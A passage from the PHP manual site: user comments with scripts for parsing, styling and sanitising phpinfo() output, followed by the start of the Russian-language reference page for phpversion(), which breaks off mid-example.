var x = document.querySelector('#phpinfo > style');
x.innerText = x.innerText.replaceAll('\n', '#phpinfo ');
</script>
bimal at sanjaal dot com 01-Dec-2017 02:06
If you are embeding the output of the function within a page, the <html> tag can collide and page will distort.

Rather, it is important to extract the contents within the <body> and </body> tags only. Here is how.

<?php
    public function info()
    {
        ob_start();
            phpinfo();
        $info = ob_get_clean();

        $info = preg_replace("/^.*?\<body\>/is", "", $info);
        $info = preg_replace("/<\/body\>.*?$/is", "", $info);

        echo $info;
    }
?>
keinwort at hotmail dot com 24-Sep-2017 05:22
REMARK/INFO: if Content-Security-Policy HTTP header
is
Content-Security-Policy "default-src 'self';";

phpinfo() is shown without a table
Calin S. 09-Sep-2015 12:38
After reading and trying various functions, I couldn't find one that correctly parses all the configurations, strips any left-over html tag and converts special characters into UTF8 (e.g. &#039; into '), so I created my own by improving on the existing ones:

function phpinfo2array() {
    $entitiesToUtf8 = function($input) {
        // http://php.net/manual/en/function.html-entity-decode.php#104617
        return preg_replace_callback("/(&#[0-9]+;)/", function($m) { return mb_convert_encoding($m[1], "UTF-8", "HTML-ENTITIES"); }, $input);
    };
    $plainText = function($input) use ($entitiesToUtf8) {
        return trim(html_entity_decode($entitiesToUtf8(strip_tags($input))));
    };
    $titlePlainText = function($input) use ($plainText) {
        return '# '.$plainText($input);
    };

    ob_start();
    phpinfo(-1);

    $phpinfo = array('phpinfo' => array());

    // Strip everything after the <h1>Configuration</h1> tag (other h1's)
    if (!preg_match('#(.*<h1[^>]*>\s*Configuration.*)<h1#s', ob_get_clean(), $matches)) {
        return array();
    }

    $input = $matches[1];
    $matches = array();

    if(preg_match_all(
        '#(?:<h2.*?>(?:<a.*?>)?(.*?)(?:<\/a>)?<\/h2>)|'.
        '(?:<tr.*?><t[hd].*?>(.*?)\s*</t[hd]>(?:<t[hd].*?>(.*?)\s*</t[hd]>(?:<t[hd].*?>(.*?)\s*</t[hd]>)?)?</tr>)#s',
        $input,
        $matches,
        PREG_SET_ORDER
    )) {
        foreach ($matches as $match) {
            $fn = strpos($match[0], '<th') === false ? $plainText : $titlePlainText;
            if (strlen($match[1])) {
                $phpinfo[$match[1]] = array();
            } elseif (isset($match[3])) {
                $keys1 = array_keys($phpinfo);
                $phpinfo[end($keys1)][$fn($match[2])] = isset($match[4]) ? array($fn($match[3]), $fn($match[4])) : $fn($match[3]);
            } else {
                $keys1 = array_keys($phpinfo);
                $phpinfo[end($keys1)][] = $fn($match[2]);
            }

        }
    }

    return $phpinfo;
}

The output looks something like this (note the headers are also included but are prefixed with '# ', e.g. '# Directive'):

Array
(
    [phpinfo] => Array
        (
            [0] => PHP Version 5.6.5
            [System] => Darwin Calins-MBP 15.0.0 Darwin Kernel Version 15.0.0: Wed Aug 26 19:41:34 PDT 2015; root:xnu-3247.1.106~5/RELEASE_X86_64 x86_64
            [Build Date] => Feb 19 2015 18:34:18
            [Registered Stream Socket Transports] => tcp, udp, unix, udg, ssl, sslv3, sslv2, tls, tlsv1.0
            [Registered Stream Filters] => zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk
            [1] => This program makes use of the Zend Scripting Language Engine:Zend Engine...
        )

    [apache2handler] => Array
        (
            [Apache Version] => Apache/2.4.16 (Unix) PHP/5.6.5 OpenSSL/0.9.8zg
            [Apache API Version] => 20120211
            [Server Administrator] => webmaster@dummy-host2.example.com
            [Hostname:Port] => sitestacker.local:0
            [# Directive] => Array
                (
                    [0] => # Local Value
                    [1] => # Master Value
                )

            [engine] => Array
                (
                    [0] => 1
                    [1] => 1
                )

            [last_modified] => Array
                (
                    [0] => 0
                    [1] => 0
                )
Joseph Reilly 12-Mar-2015 10:44
One note on the very useful example by "jon at sitewizard dot ca".
The following statements:
Statement 1:
$phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
Statement 2:
$phpinfo[end(array_keys($phpinfo))][] = $match[2];

These two lines will produce the error "Strict Standards:  Only variables should be passed by reference in...".  The root of the error is in the incorrect use of the end() function. The code works but thows the said error.
To address this try using the following statements:

Statement 1 revision:
$keys = array_keys($phpinfo);
$phpinfo[end($keys)][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];

Statement 2 revision:
$keys = array_keys($phpinfo);
$phpinfo[end($keys)][] = $match[2];

This fixes the error.
To wrap it all in an example:
<?php
function quick_dev_insights_phpinfo() {
ob_start();
phpinfo(11);
$phpinfo = array('phpinfo' => array());

    if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER)){
        foreach($matches as $match){
        if(strlen($match[1])){
            $phpinfo[$match[1]] = array();
        }elseif(isset($match[3])){
        $keys1 = array_keys($phpinfo);
        $phpinfo[end($keys1)][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
        }else{
            $keys1 = array_keys($phpinfo);
            $phpinfo[end($keys1)][] = $match[2];

        }

        }
}

    if(! empty($phpinfo)){
        foreach($phpinfo as $name => $section) {
            echo "<h3>$name</h3>\n<table class='wp-list-table widefat fixed pages'>\n";
            foreach($section as $key => $val){
                    if(is_array($val)){
                    echo "<tr><td>$key</td><td>$val[0]</td><td>$val[1]</td></tr>\n";
                    }elseif(is_string($key)){
                    echo "<tr><td>$key</td><td>$val</td></tr>\n";
                    }else{
                    echo "<tr><td>$val</td></tr>\n";
                }
            }
        }
            echo "</table>\n";
        }else{
    echo "<h3>Sorry, the phpinfo() function is not accessable. Perhaps, it is disabled<a href='http://php.net/manual/en/function.phpinfo.php'>See the documentation.</a></h3>";
    }
}
?>
Frankly, I went thought the trouble of adding this note because the example by "jon at sitewizard dot ca"  is probably the best on the web, and thought it unfortunate that it throws errors. Hope this is useful to someone.
LewisR 16-Feb-2015 08:09
Building on SimonD's elegant example to hide the logged-in username and password, which otherwise appear in plain text, the following should work for PHP 5.4+:

<?php
    // start output buffering
    ob_start();

    // send phpinfo content
    phpinfo();

    // get phpinfo content
    $html = ob_get_contents();

    // flush the output buffer
    ob_end_clean();

    // remove auth data
    if ( isset( $_SERVER[ 'PHP_AUTH_USER' ] ) ) $html = str_replace( $_SERVER[ 'PHP_AUTH_USER' ], '[ protected ]' , $html);
    if ( isset( $_SERVER[ 'PHP_AUTH_PW' ] ) ) $html = str_replace( $_SERVER[ 'PHP_AUTH_PW' ], '[ protected ]' , $html);

    echo $html;
?>

To remove additional items, just add them as above.
cbar at vmait dot com 26-Apr-2014 01:05
<?php

// NOTE: When accessing a element from the above phpinfo_array(), you can do:
$array = phpinfo_array();

// This will work
echo $array["General"]["System "];

// This should work also, but it doesn't because there is a space after System in the array.
  echo $array["General"]["System"];

// I hope the coder will fix it, so as to save someone else from wasting time. Otherwise, nice script.

?>
SimonD 22-Apr-2013 06:05
Removes sensitive data like AUTH_USER and AUTH_PASSWORD from the phpinfo output:

<?php
// start output buffering
ob_start();

// send phpinfo content
phpinfo();

// get phpinfo content
$html = ob_get_contents();

// flush the output buffer
ob_end_clean();

// remove auth data
if (isset($_SERVER['AUTH_USER'])) $html = str_replace($_SERVER['AUTH_USER'], '<i>no value</i>', $html);
if (isset($_SERVER['AUTH_PASSWORD'])) $html = str_replace($_SERVER['AUTH_PASSWORD'], '<i>no value</i>', $html);

echo $html;
henzeberkheij at dot SPAM dot gmail dot com 28-Aug-2012 02:20
I needed a way to quickly scroll through the phpinfo which is a large list of information. so here it is. In the top there is a list with sections, the new section loaded extensions will hold the links to the anchors of the loaded modules. the section session variables will show the current loaded sessions. It's using Domdocument for manipulation so you should have that loaded:
<?php
ob_start();
    $exts = get_loaded_extensions();
    phpinfo();
    $phpinfo = ob_get_contents();
    ob_end_clean();
    //print $phpinfo;
    $html_str = $phpinfo;
    $html = new DOMDocument();
    $html->loadHTML($html_str);
    $title = $html->getElementsByTagName("title")->item(0);
    $title->nodeValue = "PHP Version ".phpversion();
    $body = $html->getElementsByTagName("body")->item(0);

    $body->setAttribute("style", "background-color:beige;");
    $table = $body = $html->getElementsByTagName("table")->item(3)->nextSibling;
    $head  = $html->getElementsByTagName("table")->item(0)->nextSibling;
    ob_start();
    ?>
    <h2><a name="session_variables">Session variables</a></h2>
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th>Variables</th><th>Value</th></tr>
    <?php foreach($_SESSION as $key=>$value){
        if(is_bool($value)){
            $value = ($value)?"true":"false";
        }else if(is_array($value)){
            $value = '<pre>'.print_r($value, true).'</pre>';
        }else if(empty($value) && $value != "0"){
            $value = "<i>no value</i>";
        }
    ?>
    <tr>
        <td class="e"><?=$key?></td>
        <td class="v"><?=$value?></td>
    </tr>
    <?php
    }
    ?>
    </table>

    <h2><a name="loaded_extensions">loaded extensions</a></h2>
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th>Extension</th><th>Version</th></tr>
    <?php

        natcasesort($exts);
    foreach($exts as $value){
        $version = phpversion($value);
    ?>
    <tr>
        <td class="e" style="width:150px;"><a href="#module_<?=$value?>" style="color:black; background-color:#ccccff;"><?=$value?></a></td>
        <td class="v"><?=(!empty($version))?$version:"<i>Unknown</i>" ?></td>
    </tr>
    <?php
    }
    ?>
    </table><br />
    <?php
    $txt_str = ob_get_contents();
    ob_end_clean();
    $txt = new DOMDocument();
    $txt->loadHTML($txt_str);
    $txt_body = $txt->getElementsByTagName("body")->item(0);

    foreach($txt_body->childNodes as $child){
        $child = $html->importNode($child, true);
        $table->parentNode->insertBefore($child, $table);
    }

    $h2 = $html->getElementsByTagName("h2");
    foreach($h2 as $item){
        if($item->getElementsByTagName("a")->length == 0){
            $value = $item->nodeValue;
            $item->nodeValue = "";
            $a = $html->createElement("a");
            $a->setAttribute("name", strtolower(str_replace(" ", "_", $value)));
            $a->nodeValue = $value;
            $item->appendChild($a);
        }
        $a = $item->getElementsByTagName("a")->item(0);

        if(!in_array($a->nodeValue, $exts)){
            $menu[strtolower(str_replace(" ", "_", $a->nodeValue))] = $a->nodeValue;
        }
        $top_a = $html->createElement("a");
        if(!in_array($a->nodeValue, $exts)){
            $txt = $html->createTextNode("(Go to top)");
            $top_a->appendChild($txt);
            $top_a->setAttribute("href", "#");
        }else{
            $txt = $html->createTextNode("(Go to extensionlist)");
            $top_a->appendChild($txt);
            $top_a->setAttribute("href", "#loaded_extensions");
        }
        $top_a->setAttribute("style", "background-color:beige; font-size:12px; margin-left:5px; margin-top:-5px; color:black;");
        $item->appendChild($top_a);
    }
    ob_start();
    ?>
    <br />
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th colspan="2">Sections</th></tr>
    <tr>
        <?php
        $i = 0;
        foreach($menu as $key=>$item){
            print "<td class='v'><a href='#$key' style='background-color:#cccccc; color:black;'>$item</a></td>";
            if($i%2){
                print '</tr><tr>';
            }
            $i++;
        }
        if($i%2){
            print '<td class="v"></td>';
        }
        ?>
    </tr>
    </table>

    <?php
    $txt_str = ob_get_clean();
    $txt = new DOMDocument();
    $txt->loadHTML($txt_str);
    $txt_body = $txt->getElementsByTagName("body")->item(0);
    foreach($txt_body->childNodes as $child){
        $child = $html->importNode($child, true);
        $table->parentNode->insertBefore($child, $head);
    }
    print $html->saveHTML();
?>
neo_selen 21-Jun-2012 08:52
here you can notice that these numeric values of phpinfo
are similar to certain things in the binary system:

-1, coded in 7 digits:
111 1111

look at this:
1+2+4+8+16+32+64=127

unsigned,127 is:
111 1111

so, take a look at this: the way to get all function is to add all of them. zero is nothing.-1 is all.
so you can pass option with a negative number.
for example:
<?php phpinfo(48) ?>
is also:
<?php phpinfo(-80) ?>
48 = 32 + 16
-80= 0 - 64 - 8 - 4 - 2 - 1

so you can see in negative mode it like that:
not nothing
not all (-1) don't forget it !
not option 64
not option 8
not option 4
not option 2

so, that's good if you don't want option 8, you will do this:
not nothing(0)
not all(-1)
not option 8(-1)
you got:
<?php phpinfo(-9); ?>

hope this will be useful, that's my 1rst post ^^
Ken 13-Dec-2011 06:52
Hi.

Here my version of saving php_info into an array:

<?php
function phpinfo_array()
{
    ob_start();
    phpinfo();
    $info_arr = array();
    $info_lines = explode("\n", strip_tags(ob_get_clean(), "<tr><td><h2>"));
    $cat = "General";
    foreach($info_lines as $line)
    {
        // new cat?
        preg_match("~<h2>(.*)</h2>~", $line, $title) ? $cat = $title[1] : null;
        if(preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val))
        {
            $info_arr[$cat][$val[1]] = $val[2];
        }
        elseif(preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val))
        {
            $info_arr[$cat][$val[1]] = array("local" => $val[2], "master" => $val[3]);
        }
    }
    return $info_arr;
}

// example:
echo "<pre>".print_r(phpinfo_array(), 1)."</pre>";
?>
arimbourg at ariworld dot eu 08-Nov-2010 07:28
This is necessary to obtain a W3C validation (XHTML1.0 Transitionnal)...
phpinfo's output is declared with that DTD :
- "System ID" has the wrong url to validate : "DTD/xhtml1-transitional.dtd" rather than "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
- Some module names contains space and the function's output use the name in anchors as ID and NAME. these attributes can't be validated like that (unique name only).

<?php

ob_start ();

ob_start ();                              // Capturing
phpinfo ();                               // phpinfo ()
$info = trim (ob_get_clean ());           // output

// Replace white space in ID and NAME attributes... if exists
$info = preg_replace ('/(id|name)(=["\'][^ "\']+) ([^ "\']*["\'])/i', '$1$2_$3', $info);

$imp = new DOMImplementation ();
$dtd = $imp->createDocumentType (
    'html',
    '-//W3C//DTD XHTML 1.0 Transitional//EN',
    'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'
);
$doc = $imp->createDocument (
    'http://www.w3.org/1999/xhtml',
    'html',
    $dtd
);
$doc->encoding = 'utf-8';

$info_doc = new DOMDocument ('1.0', 'utf-8');
/* Parse phpinfo's output
 * operator @ used to avoid messages about undefined entities
 * or use loadHTML instead
 */
@$info_doc->loadXML ($info);

$doc->documentElement->appendChild ( // Adding HEAD element to HTML
    $doc->importNode (
        $info_doc->getElementsByTagName ('head')->item (0),
        true                         // With all the subtree
    )
);
$doc->documentElement->appendChild ( // Adding BODY element to HTML
    $doc->importNode (
        $info_doc->getElementsByTagName ('body')->item (0),
        true                         // With all the subtree
    )
);

// Now you get a clean output and you are able to validate...
/*
echo ($doc->saveXML ());
//      OR
echo ($doc->saveHTML ());
 */

// By that way it's easy to add some style declaration :
$style = $doc->getElementsByTagName ('style')->item (0);
$style->appendChild (
    $doc->createTextNode (
        '/* SOME NEW CSS RULES TO ADD TO THE FUNCTION OUTPUT */'
    )
);

// to add some more informations to display :
$body = $doc->getElementsByTagName ('body')->item (0);
$element = $doc->createElement ('p');
$element->appendChild (
    $doc->createTextNode (
        'SOME NEW CONTENT TO DISPLAY'
    )
);
$body->appendChild ($element);

// to add a new header :
$head = $doc->getElementsByTagName ('head')->item (0);
$meta = $doc->createElement ('meta');
$meta->setAttribute ('name', 'author');
$meta->setAttribute ('content', 'arimbourg at ariworld dot eu');
$head->appendChild ($meta);

// As you wish, take the rest of the output and add it for debugging
$out = ob_get_clean ();

$pre = $doc->createElement ('div'); // or pre
$pre->setAttribute ('style', 'white-space: pre;'); // for a div element, useless with pre
$pre->appendChild ($doc->createTextNode ($out));
$body->appendChild ($pre);

$doc->formatOutput = true; // For a nice indentation
$doc->saveXML ();

?>

All that could be done with only RegExp but I prefer the use of DOM for manipulating documents
webmaster at askapache dot com 05-Dec-2008 08:48
I wanted a simple *function* to convert the output of phpinfo into an array.  Here's what I came up with thanks to alot of the previous authors tips, and the source file: php-5.2.6/ext/standard/info.c

Call this function like phpinfo_array() prints the array, phpinfo_array(1) returns the array for your own processing.

== Sample Output ==
[PHP Configuration] => Array
 (
  [PHP Version] => 5.2.6
  [PHP Egg] => PHPE9568F34-D428-11d2-A769-00AA001ACF42
  [System] => Linux askapache 2.6.22.19-grsec3
  [Build Date] => Nov 11 2008 13:09:07
  [Configure Command] =>  ./configure --prefix=/home/grsec/bin/php
  [Server API] => FastCGI

  [IPv6 Support] => enabled
 [Zend Egg] => PHPE9568F35-D428-11d2-A769-00AA001ACF42
  [PHP Credits Egg] => PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
 )

[mbstring] => Array
 (
  [mbstring.http_input] => pass
  [mbstring.internal_encoding] => Array
    (
     [0] => ISO-8859-1
     [1] => no value
    )

  [mbstring.language] => neutral
   )

[mcrypt] => Array
 (
  [Version] => 3.5.7
  [Api No] => 20031217
 )

<?php
function phpinfo_array($return=false){
 /* Andale!  Andale!  Yee-Hah! */
 ob_start();
 phpinfo(-1);

 $pi = preg_replace(
 array('#^.*<body>(.*)</body>.*$#ms', '#<h2>PHP License</h2>.*$#ms',
 '#<h1>Configuration</h1>#',  "#\r?\n#", "#</(h1|h2|h3|tr)>#", '# +<#',
 "#[ \t]+#", '#&nbsp;#', '#  +#', '# class=".*?"#', '%&#039;%',
  '#<tr>(?:.*?)" src="(?:.*?)=(.*?)" alt="PHP Logo" /></a>'
  .'<h1>PHP Version (.*?)</h1>(?:\n+?)</td></tr>#',
  '#<h1><a href="(?:.*?)\?=(.*?)">PHP Credits</a></h1>#',
  '#<tr>(?:.*?)" src="(?:.*?)=(.*?)"(?:.*?)Zend Engine (.*?),(?:.*?)</tr>#',
  "# +#", '#<tr>#', '#</tr>#'),
 array('$1', '', '', '', '</$1>' . "\n", '<', ' ', ' ', ' ', '', ' ',
  '<h2>PHP Configuration</h2>'."\n".'<tr><td>PHP Version</td><td>$2</td></tr>'.
  "\n".'<tr><td>PHP Egg</td><td>$1</td></tr>',
  '<tr><td>PHP Credits Egg</td><td>$1</td></tr>',
  '<tr><td>Zend Engine</td><td>$2</td></tr>' . "\n" .
  '<tr><td>Zend Egg</td><td>$1</td></tr>', ' ', '%S%', '%E%'),
 ob_get_clean());

 $sections = explode('<h2>', strip_tags($pi, '<h2><th><td>'));
 unset($sections[0]);

 $pi = array();
 foreach($sections as $section){
   $n = substr($section, 0, strpos($section, '</h2>'));
   preg_match_all(
   '#%S%(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?%E%#',
     $section, $askapache, PREG_SET_ORDER);
   foreach($askapache as $m)
       $pi[$n][$m[1]]=(!isset($m[3])||$m[2]==$m[3])?$m[2]:array_slice($m,2);
 }

 return ($return === false) ? print_r($pi) : $pi;
}

?>
Phelon Dudras 28-Nov-2008 01:26
A simple method to style your own phpinfo() output.

<style type="text/css">
#phpinfo {}
#phpinfo pre {}
#phpinfo a:link {}
#phpinfo a:hover {}
#phpinfo table {}
#phpinfo .center {}
#phpinfo .center table {}
#phpinfo .center th {}
#phpinfo td, th {}
#phpinfo h1 {}
#phpinfo h2 {}
#phpinfo .p {}
#phpinfo .e {}
#phpinfo .h {}
#phpinfo .v {}
#phpinfo .vr {}
#phpinfo img {}
#phpinfo hr {}
</style>

<div id="phpinfo">
<?php

ob_start () ;
phpinfo () ;
$pinfo = ob_get_contents () ;
ob_end_clean () ;

// the name attribute "module_Zend Optimizer" of an anker-tag is not xhtml valide, so replace it with "module_Zend_Optimizer"
echo ( str_replace ( "module_Zend Optimizer", "module_Zend_Optimizer", preg_replace ( '%^.*<body>(.*)</body>.*$%ms', '$1', $pinfo ) ) ) ;

?>
</div>
jon at sitewizard dot ca 05-Jul-2008 07:54
To extract all of the data from phpinfo into a nested array:
<?php
ob_start();
phpinfo();
$phpinfo = array('phpinfo' => array());
if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER))
    foreach($matches as $match)
        if(strlen($match[1]))
            $phpinfo[$match[1]] = array();
        elseif(isset($match[3]))
            $phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
        else
            $phpinfo[end(array_keys($phpinfo))][] = $match[2];
?>

Some examples of using individual values from the array:

<?php
    echo "System: {$phpinfo['phpinfo']['System']}<br />\n";
    echo "Safe Mode: {$phpinfo['PHP Core']['safe_mode'][0]}<br />\n";
    echo "License: {$phpinfo['PHP License'][0]}<br />\n";
?>

To display everything:

<?php
    foreach($phpinfo as $name => $section) {
        echo "<h3>$name</h3>\n<table>\n";
        foreach($section as $key => $val) {
            if(is_array($val))
                echo "<tr><td>$key</td><td>$val[0]</td><td>$val[1]</td></tr>\n";
            elseif(is_string($key))
                echo "<tr><td>$key</td><td>$val</td></tr>\n";
            else
                echo "<tr><td>$val</td></tr>\n";
        }
        echo "</table>\n";
    }
?>

Note: In order to properly retrieve all of the data, the regular expression matches table headers as well as table data, resulting in 'Local Value' and 'Global Value' showing up as 'Directive' entries.
yurkins 23-Jun-2008 07:24
big thanx 2 Mardy dot Hutchinson at gmail dot com
very good!

some fixes to correct result displaying:
1. we need to trim $matches [1], 'cause there can be empty lines;
2. not bad to remove <body> tag 'cause styles for it not apply correctly...
3. ...and change styles a little (remove "body" selector)

we need to change two lines:

<?php
preg_match ('%<style type="text/css">(.*?)</style>.*?(<body>.*</body>)%s', ob_get_clean(), $matches);
?>
to
<?php
preg_match ('%<style type="text/css">(.*?)</style>.*?<body>(.*?)</body>%s', ob_get_clean(), $matches);
?>

and

<?php
preg_split( '/\n/', $matches[1] )
?>
to
<?php
preg_split( '/\n/', trim(preg_replace( "/\nbody/", "\n", $matches[1])) )
?>

That's all! Now we have a really flexible addition to phpinfo();
Mardy dot Hutchinson at gmail dot com 09-Sep-2007 03:27
Embedding phpinfo within your page, that already has style information:

The phpinfo output is wrapped within a <div class='phpinfodisplay'>, and we privatize all the style selectors that phpinfo() creates.

Yes, we cheat on preparing the selector list.

<?php
ob_start();
phpinfo();

preg_match ('%<style type="text/css">(.*?)</style>.*?(<body>.*</body>)%s', ob_get_clean(), $matches);

# $matches [1]; # Style information
# $matches [2]; # Body information

echo "<div class='phpinfodisplay'><style type='text/css'>\n",
    join( "\n",
        array_map(
            create_function(
                '$i',
                'return ".phpinfodisplay " . preg_replace( "/,/", ",.phpinfodisplay ", $i );'
                ),
            preg_split( '/\n/', $matches[1] )
            )
        ),
    "</style>\n",
    $matches[2],
    "\n</div>\n";
?>

Perhaps one day the phpinfo() function will be modified to output such a safe string on its own.
Andrew dot Boag at catalyst dot net dot nz 09-Sep-2007 12:47
One note on the above functions for cleaning up the phpinfo() HTML and throwing it into an array data structure. In order to catch all of the info tidbits the preg_match_all has to be tweaked to deal with 2 and 3 column tables.

I have changed the preg_match_all() here so that the last <td></td> is optional

<?php
function parsePHPConfig() {
    ob_start();
    phpinfo(-1);
    $s = ob_get_contents();
    ob_end_clean();
    $a = $mtc = array();
    if (preg_match_all('/<tr><td class="e">(.*?)<\/td><td class="v">(.*?)<\/td>(:?<td class="v">(.*?)<\/td>)?<\/tr>/',$s,$mtc,PREG_SET_ORDER))
        foreach($mtc as $v){
            if($v[2] == '<i>no value</i>') continue;
            $a[$v[1]] = $v[2];
        }
    }
    return $a;
}
?>
jb2386 at hotmail dot com 10-Oct-2006 09:29
This is a slight modification to the previous code by "code at adspeed dot com" that extracts the PHP modules as an array. I used it on PHP 4.1.2 and it failed as the <h2> tags also had an align="center". So this update changes the regex for those tags:

<?php

/* parse php modules from phpinfo */

function parsePHPModules() {
 ob_start();
 phpinfo(INFO_MODULES);
 $s = ob_get_contents();
 ob_end_clean();

 $s = strip_tags($s,'<h2><th><td>');
 $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
 $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
 $vTmp = preg_split('/(<h2[^>]*>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
 $vModules = array();
 for ($i=1;$i<count($vTmp);$i++) {
  if (preg_match('/<h2[^>]*>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
   $vName = trim($vMat[1]);
   $vTmp2 = explode("\n",$vTmp[$i+1]);
   foreach ($vTmp2 AS $vOne) {
   $vPat = '<info>([^<]+)<\/info>';
   $vPat3 = "/$vPat\s*$vPat\s*$vPat/";
   $vPat2 = "/$vPat\s*$vPat/";
   if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
     $vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
   } elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
     $vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
   }
   }
  }
 }
 return $vModules;
}
?>
code at adspeed dot com 09-Dec-2005 03:31
This function parses the phpinfo output to get details about a PHP module.

<?php
/** parse php modules from phpinfo */
function parsePHPModules() {
 ob_start();
 phpinfo(INFO_MODULES);
 $s = ob_get_contents();
 ob_end_clean();

 $s = strip_tags($s,'<h2><th><td>');
 $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
 $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
 $vTmp = preg_split('/(<h2>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
 $vModules = array();
 for ($i=1;$i<count($vTmp);$i++) {
  if (preg_match('/<h2>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
   $vName = trim($vMat[1]);
   $vTmp2 = explode("\n",$vTmp[$i+1]);
   foreach ($vTmp2 AS $vOne) {
    $vPat = '<info>([^<]+)<\/info>';
    $vPat3 = "/$vPat\s*$vPat\s*$vPat/";
    $vPat2 = "/$vPat\s*$vPat/";
    if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
     $vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
    } elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
     $vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
    }
   }
  }
 }
 return $vModules;
}
?>

Sample Output:
[gd] => Array
(
  [GD Support] => enabled
  [GD Version] => bundled (2.0.28 compatible)
  [FreeType Support] => enabled
  [FreeType Linkage] => with freetype
  [FreeType Version] => 2.1.9
  [T1Lib Support] => enabled
  [GIF Read Support] => enabled
  [GIF Create Support] => enabled
  [JPG Support] => enabled
  [PNG Support] => enabled
  [WBMP Support] => enabled
  [XBM Support] => enabled
)

[date] => Array (
  [date/time support] => enabled
  [Timezone Database Version] => 2005.14
  [Timezone Database] => internal
  [Default timezone] => America/Los_Angeles
  [Directive] => Array (
     [0] => Local Value
     [1] => Master Value
  )
  [date.timezone] => Array (
     [0] => no value
     [1] => no value
  )
 )

<?php
/** get a module setting */
function getModuleSetting($pModuleName,$pSetting) {
 $vModules = parsePHPModules();
 return $vModules[$pModuleName][$pSetting];
}
?>

Example: getModuleSetting('gd','GD Version'); returns "bundled (2.0.28 compatible)"
Helpful Harry 06-Oct-2005 08:38
check out this cool and fantastic colourful phpinfo()!

<?php

ob_start();
phpinfo();
$phpinfo = ob_get_contents();
ob_end_clean();

preg_match_all('/#[0-9a-fA-F]{6}/', $phpinfo, $rawmatches);
for ($i = 0; $i < count($rawmatches[0]); $i++)
   $matches[] = $rawmatches[0][$i];
$matches = array_unique($matches);

$hexvalue = '0123456789abcdef';

$j = 0;
foreach ($matches as $match)
{

   $r = '#';
   $searches[$j] = $match;
   for ($i = 0; $i < 6; $i++)
      $r .= substr($hexvalue, mt_rand(0, 15), 1);
   $replacements[$j++] = $r;
   unset($r);
}

for ($i = 0; $i < count($searches); $i++)
   $phpinfo = str_replace($searches, $replacements, $phpinfo);
echo $phpinfo;
?>


Получает текущую версию PHP

  • « phpinfo
  • putenv »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получает текущую версию PHP

phpversion

(PHP 4, PHP 5, PHP 7, PHP 8)

phpversion — Получает текущую версию PHP

Описание

phpversion(?string $extension = null): string|false

Возвращает строку с номером версии текущего PHP-интерпретатора или модуля.

Список параметров

extension

Необязательное имя модуля.

Возвращаемые значения

Возвращает текущую версию PHP в виде строки (string). Если в параметре extension указано строковое значение (string), phpversion() вернёт версию этого модуля или false, если информации о версии нет или модуль в данный момент не включён.

Список изменений

Версия | Описание
8.0.0 | extension теперь допускает значение null.

Примеры

Пример #1 Пример использования phpversion()

<?php
// Выводит строку типа 'Текущая версия PHP: 4.1.1'
echo 'Текущая версия PHP: ' . phpversion();

// Выводит строку типа '2.0' или ничего, если модуль не включён
echo phpversion('tidy');
?>

Пример #2 Пример использования PHP_VERSION_ID

<?php
// PHP_VERSION_ID доступна в версиях PHP 5.2.7 и выше. Если
// наша версия ниже, можно её сэмулировать
if (!defined('PHP_VERSION_ID')) {
$version = explode('.', PHP_VERSION);

define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2]));
}

// PHP_VERSION_ID определена как число. Чем больше число, тем новее
// PHP. Эта константа задаётся по той же схеме, что приведена выше:
//
// $version_id = $major_version * 10000 + $minor_version * 100 + $release_version;
//
// Теперь с PHP_VERSION_ID можно проверять, какая функциональность есть в
// текущей версии PHP. Не обязательно пользоваться version_compare()
// каждый раз, когда требуется проверить, поддерживает ли PHP нужную
// нам функцию.
//
// Например, мы можем задать значения констант PHP_VERSION_*,
